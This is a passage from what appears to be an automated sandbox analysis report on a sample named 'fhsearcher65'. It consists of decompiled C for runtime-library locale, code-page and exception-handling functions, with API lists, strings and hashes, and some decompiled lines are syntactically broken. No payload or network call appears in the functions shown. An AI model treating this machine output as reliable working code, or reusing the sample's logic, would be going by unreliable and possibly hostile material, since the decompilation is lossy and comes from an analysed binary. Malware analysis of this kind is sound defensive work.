				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t116 = _t6;
				_v8 = _t34;
				_t91 = _t84;
				_t35 = _t84 + 0x80;
				 *_t123 = _t84;
				 *_t116 = _t35;
				if( *_t35 != 0) {
					E004270E2(0x4328d0, 0x16, _t116);
					_t91 =  *_t123;
					_t131 = _t131 + 0xc;
					_t113 = 0;
				}
				_push(_t123);
				if( *_t91 == _t113) {
					E00426A53(_t84, _t91);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t116)) == _t113) {
						E00426B73();
					} else {
						E00426ADA(_t91);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E004270E2("\xef\xbf\xbd)C", 0x40,						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t116)) == 0) {
								E00426B73();
							} else {
								E00426ADA(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t84 + 0x100;
					if( *_t84 != 0 ||  *_t38 != 0) {
						_t39 = E00426F9F(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t95 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t86 = _t15;
							 *_t86 = 0;
							_t16 = _t95 + 2; // 0x2
							_t114 = _t16;
							do {
								_t45 =  *_t95;
								_t95 = _t95 + 2;
							} while (_t45 != _v12);
							_t18 = (_t95 - _t114 >> 1) + 1; // -1
							_t47 = E0042558D(_t86, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E004138F4();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0x43d054; // 0xd71f2cec
								_v52 = _t50 ^ _t132;
								_push(_t86);
								_push(_t125);
								_push(_t119);
								_t52 = E0041CF13(_t97, _t114);
								_t87 = _t52;
								_t120 =  *(E0041CF13(_t97, _t114) + 0x34c);
								_t127 = E0042788A(_v40);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E00423D92(_t120, _t127,  *((intOrPtr*)(_t87 + 0x54)),  &_v272) == 0 && E004279BC(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t88);
								return E0040EF6F(_t62, _t88, _v32 ^ _t130, _t114, _t121, _t128);
							} else {
								if(E0041EBD1(_t86, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t86 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E0041EBD1(_t21, 0x1002, _t86, 0x40) == 0) {
										goto L37;
									} else {
										_push(0x5f);
										_t68 = E0042C4D7(_t97);
										_t97 = _t86;
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E0041EBD1(_t22, 7, _t86, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_push(0x2e);
											_t73 = E0042C4D7(_t97);
											_t97 = _t86;
											if(_t73 == 0) {
												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E004136E8(_t97, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E0042558D(_t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427154
0x00427155
0x00427157
0x0042715c
0x00427163
0x00427165
0x00427168
0x00427168
0x0042716b
0x0042716b
0x00427171
0x00427174
0x00427177
0x00427177
0x0042717a
0x0042717d
0x0042717f
0x00427185
0x00427187
0x0042718c
0x00427196
0x0042719b
0x0042719d
0x004271a0
0x004271a0
0x004271a2
0x004271a6
0x004271ef
0x00000000
0x004271a8
0x004271ad
0x004271b6
0x004271af
0x004271af
0x004271af
0x004271c1
0x004271cb
0x004271d0
0x004271d5
0x004271db
0x004271df
0x004271e8
0x004271e1
0x004271e1
0x004271e1
0x004271f4
0x004271f4
0x004271d5
0x004271c1
0x004271fa
0x00427336
0x00427336
0x00000000
0x00427200
0x00427200
0x00427209
0x0042721a
0x00427210
0x00427210
0x00427210
0x00427221
0x00427225
0x00000000
0x00427249
0x00427249
0x0042724e
0x00427250
0x00427250
0x00427252
0x00427257
0x00427331
0x00427333
0x00427338
0x0042733c
0x0042725d
0x0042725d
0x00427260
0x00427260
0x00427268
0x0042726b
0x0042726b
0x0042726e
0x0042726e
0x00427271
0x00427274
0x0042727e
0x00427288
0x0042728d
0x00427292
0x0042733d
0x0042733f
0x00427340
0x00427341
0x00427342
0x00427343
0x00427344
0x00427349
0x0042734d
0x00427355
0x0042735c
0x0042735f
0x00427360
0x00427364
0x00427365
0x0042736a
0x00427372
0x00427381
0x0042738d
0x0042739e
0x004273a6
0x004273c0
0x004273cd
0x004273d0
0x004273d3
0x004273d3
0x004273dd
0x004273a8
0x004273a8
0x004273aa
0x004273aa
0x004273e3
0x004273e4
0x004273e7
0x004273ee
0x00427298
0x004272a8
0x00000000
0x004272ae
0x004272b0
0x004272b0
0x004272bc
0x004272ca
0x00000000
0x004272cc
0x004272cc
0x004272cf
0x004272d5
0x004272d8
0x004272e8
0x004272ed
0x004272fb
0x00000000
0x00000000
0x00000000
0x00000000
0x004272da
0x004272da
0x004272dd
0x004272e3
0x004272e6
0x004272fd
0x004272fd
0x00427309
0x00427329
0x00000000
0x0042730b
0x0042730b
0x00427315
0x0042731a
0x0042731f
0x00000000
0x00427321
0x00000000
0x00427321
0x0042731f
0x00000000
0x00000000
0x00000000
0x004272e6
0x004272d8
0x004272ca
0x004272a8
0x00427292
0x00427257
0x00427225

APIs

Part of subcall function 0041CF13: GetLastError.KERNEL32(?,?,?,00413A11,?,00000000,00405D9E,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000), ref: 0041CF18
Part of subcall function 0041CF13: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000,?,00405D9E,?), ref: 0041CFB6

GetACP.KERNEL32(?,?,?,?,?,?,0041BB13,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00427210
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0041BB13,?,?,?,00000055,?,-00000050,?,?), ref: 0042723B
_wcschr.LIBVCRUNTIME ref: 004272CF
_wcschr.LIBVCRUNTIME ref: 004272DD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0042739E

Strings

utf8, xrefs: 0042730D
)C, xrefs: 004271C6

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8$)C
API String ID: 4147378913-3322961178
Opcode ID: 355c3a72af13ab22cf612dcf7489b8a4ff9d5a4f5489f059440fb3b0246c20af
Instruction ID: d0b513fa687edde9a0fb85e855b224fae9de8e14105dd3d019c8dd190cac156a
Opcode Fuzzy Hash: 355c3a72af13ab22cf612dcf7489b8a4ff9d5a4f5489f059440fb3b0246c20af
Instruction Fuzzy Hash: 5D710531704221AAD734EB36EC46BBB73A8EF04744F90446BFD05D7281EB78E941C6A9

Uniqueness

Uniqueness Score: -1.00%

Function 00427AB0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00427AB0(void* __ecx, void* __edx, void* __eflags, signed short _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				short* _t48;
				int _t49;
				void* _t53;
				short* _t55;
				short* _t56;
				short* _t57;
				int _t64;
				int _t66;
				short* _t70;
				intOrPtr _t73;
				void* _t75;
				short* _t76;
				intOrPtr _t83;
				short* _t86;
				short* _t89;
				short** _t99;
				short* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0x43d054; // 0xd71f2cec
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E0041CF13(__ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E0041CF13(__ecx, __edx);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0x4329e4; // 0x17
					E00427A4F(_t89, 0, 0x4328d0, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t97;
					if(__eflags == 0) {
						goto L19;
					}
					E004273F1(_t89, _t97, __eflags,  &_v20);
					_pop(_t89);
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0) {
						L8:
						E004274D7(_t89, _t97, __eflags,  &_v20);
						L9:
						_pop(_t89);
						if(_v20 != 0) {
							_t100 = 0;
							__eflags = 0;
							L25:
							asm("sbb esi, esi");
							_t101 = E004278DB(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
							__eflags = _t101;
							if(_t101 == 0) {
								L22:
								_t53 = 0;
								L23:
								return E0040EF6F(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
							}
							_t55 = IsValidCodePage(_t101 & 0x0000ffff);
							__eflags = _t55;
							if(_t55 == 0) {
								goto L22;
							}
							_t56 = IsValidLocale(_v16, 1);
							__eflags = _t56;
							if(_t56 == 0) {
								goto L22;
							}
							_t57 = _v28;
							__eflags = _t57;
							if(_t57 != 0) {
								 *_t57 = _t101;
							}
							E0041ECCF(_v16,  &(_v24[0x128]), 0x55, _t100);
							__eflags = _t86;
							if(_t86 == 0) {
								L34:
								_t53 = 1;
								goto L23;
							}
							_t33 =  &(_t86[0x90]); // 0xd0
							E0041ECCF(_v16, _t33, 0x55, _t100);
							_t64 = GetLocaleInfoW(_v16, 0x1001, _t86, 0x40);
							__eflags = _t64;
							if(_t64 == 0) {
								goto L22;
							}
							_t36 =  &(_t86[0x40]); // 0x30
							_t66 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
							__eflags = _t66;
							if(_t66 == 0) {
								goto L22;
							}
							_t38 =  &(_t86[0x80]); // 0xb0
							E004136E8(_t38, _t101, _t38, 0x10, 0xa);
							goto L34;
						}
						_t73 =  *0x4328cc; // 0x41
						_t75 = E00427A4F(_t89, _t97, "\xef\xbf\xbd)C", _t73 - 1						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								goto L25;
							}
							goto L22;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0) {
							L14:
							E004274D7(_t89, _t97, __eflags,  &_v20);
							L15:
							_pop(_t89);
							goto L21;
						}
						_t118 =  *_t76;
						if( *_t76 == 0) {
							goto L14;
						}
						E0042743C(_t89, _t97, _t118,  &_v20);
						goto L15;
					}
					_t114 =  *_t70 - _t97;
					if( *_t70 == _t97) {
						goto L8;
					}
					E0042743C(_t89, _t97, _t114,  &_v20);
					goto L9;
				}
			}

0x00427ab8
0x00427abf
0x00427ac6
0x00427aca
0x00427ace
0x00427adc
0x00427ae1
0x00427ae2
0x00427ae3
0x00427ae4
0x00427aec
0x00427aee
0x00427af4
0x00427afa
0x00427afd
0x00427aff
0x00427b02
0x00427b06
0x00427b0d
0x00427b1a
0x00427b1f
0x00427b22
0x00427b25
0x00427b25
0x00427b27
0x00427b2a
0x00427b2e
0x00427b9e
0x00427ba0
0x00427ba2
0x00427bb5
0x00427bb5
0x00427bbc
0x00427bc2
0x00427bc5
0x00000000
0x00427bc5
0x00427ba4
0x00427ba7
0x00000000
0x00000000
0x00427bad
0x00427bb2
0x00000000
0x00427b35
0x00427b35
0x00427b39
0x00427b4b
0x00427b4f
0x00427b54
0x00427b58
0x00427b59
0x00427be1
0x00427be1
0x00427be3
0x00427bef
0x00427bf9
0x00427bfd
0x00427bff
0x00427bd0
0x00427bd0
0x00427bd2
0x00427be0
0x00427be0
0x00427c05
0x00427c0b
0x00427c0d
0x00000000
0x00000000
0x00427c14
0x00427c1a
0x00427c1c
0x00000000
0x00000000
0x00427c1e
0x00427c21
0x00427c23
0x00427c25
0x00427c25
0x00427c36
0x00427c3b
0x00427c3d
0x00427c9d
0x00427c9f
0x00000000
0x00427c9f
0x00427c42
0x00427c4c
0x00427c5c
0x00427c62
0x00427c64
0x00000000
0x00000000
0x00427c6c
0x00427c7b
0x00427c81
0x00427c83
0x00000000
0x00000000
0x00427c8d
0x00427c95
0x00000000
0x00427c9a
0x00427b5f
0x00427b6e
0x00427b73
0x00427b78
0x00427bc8
0x00427bc8
0x00427bc8
0x00427bca
0x00427bce
0x00000000
0x00000000
0x00000000
0x00427bce
0x00427b7a
0x00427b7c
0x00427b80
0x00427b92
0x00427b96
0x00427b9b
0x00427b9b
0x00000000
0x00427b9b
0x00427b82
0x00427b85
0x00000000
0x00000000
0x00427b8b
0x00000000
0x00427b8b
0x00427b3b
0x00427b3e
0x00000000
0x00000000
0x00427b44
0x00000000
0x00427b44

APIs

Part of subcall function 0041CF13: GetLastError.KERNEL32(?,?,?,00413A11,?,00000000,00405D9E,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000), ref: 0041CF18
Part of subcall function 0041CF13: SetLastError.KERNEL32(00000000,00000007,000000FF,?,00418547,?,00000000,74656490,?,00418640,00405D9E,00000000,?,00405D9E,?), ref: 0041CFB6

Part of subcall function 0041CF13: _free.LIBCMT ref: 0041CF75
Part of subcall function 0041CF13: _free.LIBCMT ref: 0041CFAB

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00427BBC
IsValidCodePage.KERNEL32(00000000), ref: 00427C05
IsValidLocale.KERNEL32(?,00000001), ref: 00427C14
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00427C5C
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00427C7B

Strings

)C, xrefs: 00427B69

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: )C
API String ID: 949163717-1336023901
Opcode ID: 2da14ea598347014960fd4b1cecc809c53c897caf4769f0c97ef830eac91bd2e
Instruction ID: 50d87e57fbb78f231642956a1e248fb4dbd840ffa11d584ac3da7fec36a61c4a
Opcode Fuzzy Hash: 2da14ea598347014960fd4b1cecc809c53c897caf4769f0c97ef830eac91bd2e
Instruction Fuzzy Hash: 1251C871B04225AFDB10DFA5EC41ABF7BB8EF04704F94446AE910E7291E778E940CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004278DB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 94%

			E004278DB(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0041CBB2(_t23, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x004278e0
0x004278e1
0x004278e8
0x0042798c
0x004279a5
0x004279ab
0x004279b0
0x004279b2
0x004279b2
0x004279b8
0x004279bb
0x004279bb
0x004279a7
0x004279a7
0x00000000
0x004279a7
0x004278ee
0x004278f3
0x00000000
0x00000000
0x004278f9
0x004278fe
0x00427900
0x00427900
0x00427906
0x00000000
0x00000000
0x0042790b
0x00427922
0x00427922
0x0042792b
0x0042792d
0x00000000
0x00000000
0x0042792f
0x00427934
0x00427936
0x00427936
0x0042793c
0x00000000
0x00000000
0x00427941
0x0042795f
0x00427961
0x00427984
0x00000000
0x00427989
0x0042797c
0x00000000
0x00000000
0x0042797e
0x00000000
0x0042797e
0x00427943
0x0042794b
0x00000000
0x00000000
0x0042794d
0x00427950
0x00427956
0x00000000
0x00000000
0x00000000
0x00427958
0x0042795a
0x0042795c
0x00000000
0x0042795c
0x0042790d
0x00427915
0x00000000
0x00000000
0x00427917
0x0042791a
0x00427920
0x00000000
0x00000000
0x00000000
0x00427920
0x00427926
0x00427928
0x00000000

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00427BF9,00000002,00000000,?,?,?,00427BF9,?,00000000), ref: 00427974
GetLocaleInfoW.KERNEL32(00000000,20001004,00427BF9,00000002,00000000,?,?,?,00427BF9,?,00000000), ref: 0042799D
GetACP.KERNEL32(?,?,00427BF9,?,00000000), ref: 004279B2

Strings

ACP, xrefs: 004278F9
OCP, xrefs: 0042792F

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d473ddd763a2c2c897fe5dcf6db478f1cae410dc6a90a74f6531b1057af5c91b
Instruction ID: d0a73d94339f3d9771a7a762acd948e101d967664d17528ef3ce01e0e073cf60
Opcode Fuzzy Hash: d473ddd763a2c2c897fe5dcf6db478f1cae410dc6a90a74f6531b1057af5c91b
Instruction Fuzzy Hash: 5321F7B2708321A6FB348F14E801B97B2A7EB54B50BD68066E909C7300E73ADDC1C398

Uniqueness

Uniqueness Score: -1.00%

Function 0041371B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E0041371B(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x43d054; // 0xd71f2cec
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E0040FB9B(_t41);
					_pop(_t61);
				}
				E00410EB0(_t66,  &_v804, 0, 0x50);
				E00410EB0(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E0040FB9B(_t57);
				}
				return E0040EF6F(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x0041371b
0x0041371b
0x0041371b
0x00413726
0x0041372b
0x0041372d
0x00413735
0x00413737
0x0041373a
0x0041373f
0x0041373f
0x0041374b
0x0041375e
0x0041376c
0x00413772
0x00413778
0x0041377e
0x00413784
0x0041378a
0x00413790
0x00413796
0x0041379c
0x004137a2
0x004137a9
0x004137b0
0x004137b7
0x004137be
0x004137c5
0x004137cc
0x004137cd
0x004137d6
0x004137dc
0x004137df
0x004137e5
0x004137f2
0x004137fb
0x00413804
0x0041380d
0x0041381b
0x0041381d
0x00413832
0x0041383e
0x00413841
0x00413846
0x00413853

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00413813
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0041381D
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0041382A

Strings

W7@, xrefs: 0041371D

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: W7@
API String ID: 3906539128-1885929603
Opcode ID: 54c245c56f6f31c04d0ed3aeb99598f4a068120a0b62f4bf234eacb4000b5db5
Instruction ID: d0abc29eca80b47124f83de39cf8a952c557c6b496ddb8fc0f80056dcc86e73a
Opcode Fuzzy Hash: 54c245c56f6f31c04d0ed3aeb99598f4a068120a0b62f4bf234eacb4000b5db5
Instruction Fuzzy Hash: 8A31C4749013289BCB21DF65D8897DDBBB8BF08710F5041EAF41CA7291E7749B858F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9A5 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F9A5(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E0040FB9B(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00410EB0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00410EB0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E0040FB9B(_t49);
				}
				return _t49;
			}

0x0040f9a5
0x0040f9a5
0x0040f9a5
0x0040f9b9
0x0040f9bb
0x0040f9be
0x0040f9be
0x0040f9c2
0x0040f9c7
0x0040f9df
0x0040f9e5
0x0040f9eb
0x0040f9f1
0x0040f9f7
0x0040f9fd
0x0040fa03
0x0040fa0a
0x0040fa11
0x0040fa18
0x0040fa1f
0x0040fa26
0x0040fa2d
0x0040fa2e
0x0040fa37
0x0040fa3d
0x0040fa40
0x0040fa46
0x0040fa55
0x0040fa61
0x0040fa6c
0x0040fa73
0x0040fa7a
0x0040fa85
0x0040fa8d
0x0040fa96
0x0040fa98
0x0040fa9b
0x0040fa9d
0x0040faa7
0x0040faaf
0x0040fab5
0x00000000
0x0040fabc
0x0040fabf

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040F9B1
IsDebuggerPresent.KERNEL32 ref: 0040FA7D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040FA9D
UnhandledExceptionFilter.KERNEL32(?), ref: 0040FAA7

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b905c57fb93a7ea2142a1a6e2d5c4873a38ca60d89c803f25540929c33dac397
Instruction ID: cf9e32705b204ff06b1911a963361d4a4c9a0ad5348de2a8515f5bfad71c743e
Opcode Fuzzy Hash: b905c57fb93a7ea2142a1a6e2d5c4873a38ca60d89c803f25540929c33dac397
Instruction Fuzzy Hash: B631FB75D053189BDB20DFA5D9897CDBBB8AF04304F1041FAE40DA7290EB755A898F49

Uniqueness

Uniqueness Score: -1.00%

Function 10003AD4 Relevance: 6.1, APIs: 4, Instructions: 73
COMMONLIBRARYCODE

Download Yara Rule

